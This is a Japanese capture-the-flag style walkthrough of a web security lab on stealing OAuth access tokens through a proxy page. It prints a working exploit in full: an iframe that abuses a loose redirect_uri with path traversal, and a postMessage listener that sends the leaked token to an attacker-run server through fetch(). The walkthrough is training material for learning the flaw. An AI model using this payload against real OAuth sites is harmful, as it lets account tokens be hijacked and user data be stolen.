Hello there, ('ω')ノ
プロキシページを介してOAuthアクセストークンを盗むを。
このラボでは、 OAuth サービスを使用して。
ユーザがソーシャルメディアアカウントでログインできるようにして。
OAuthサービスによる検証に欠陥があると。
攻撃者がクライアントの任意のページにアクセストークンを漏らす可能性があって。
まずは、ログインして動作確認から。

上記のページまでの流れは下記のとおりで。

レスポンスから下記へリダイレクトされて。
href="/interaction/Ow9seXyWUx_eGFzvZ0yWG">

リダイレクトされたページで。

Continueをクリックすると。

システムが認証を確認した後にリダイレクトして。
現在のセッションaccess_tokenを。
クライアント側のブラウザのURLフラグメントとして追加しているようで。
access_token=U_WAnYnj4T59iRx8yk7bwND_efGdVCis1r-3fPv_39r

トップページに移動して。

下記を変更してSendするとレスポンスが反応して。
これで、access_tokenを別ページにリダイレクトできることがわかって。
redirect_uri=localhost

各ブログの投稿ページのソースコードを見るとiframeが見つかって。
下記のページをBurpで確認すると。
src="/post/comment/comment-form#postId=6


ソースコードを確認してみると。
postMessage()メソッドで、window.location.hrefが親ウィンドウに送信されていて。

また、Burpに限らずブラウザ上でも確認することはできて。
各ページには、読み込まれたときにwindow.location.hrefで。
投稿メッセージを作成する安全でないWebメッセージングスクリプトが。
window.location.hrefには、URLフラグメントが含まれていて。
重要なのは、投稿メッセージはすべての親リスナーに伝播されて。
parent.postMessage({type: 'onload', data: window.location.href}, '*')
parent.postMessage({type: 'oncomment', content: o}, '*');

このスクリプトをエクスプロイトサーバで、メッセージを表示する参考にして。
window.addEventListener('message', function(e) {

エクスプロイトサーバへ移動して。
iframを作成して、redirect_uriでコメントフォームを指定して。
<iframe src="https://ac941f091e8af02f809694310291002f.web-security-academy.net/auth?client_id=mybdw8qvdjhfzbyxvu11p&redirect_uri=https://ac271fd51e14f03880af942f00650006.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
その下にWebメッセージをリッスンして。
エクスプロイトサーバのアクセスログに。
Webメッセージを表示するスクリプトを追加して。
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>

Storeして、Viewで確認して。

Deliverして、ログを確認するとaccess_tokenがわかって。
access_token%3DWZi9pb76b28eqkrW4zlHA_vK6-AFAH4kUzchdoTBXhH

下記のリクエストをリピータへ。

認証のトークンを置き換えてSendするとAPIが正常に呼び出されて。
apikey":"JN8CbAquVomdKWSCJ9kPvME3vCESI8Ku

APIキーを入力して。

クリアできた。

Best regards, (^^ゞ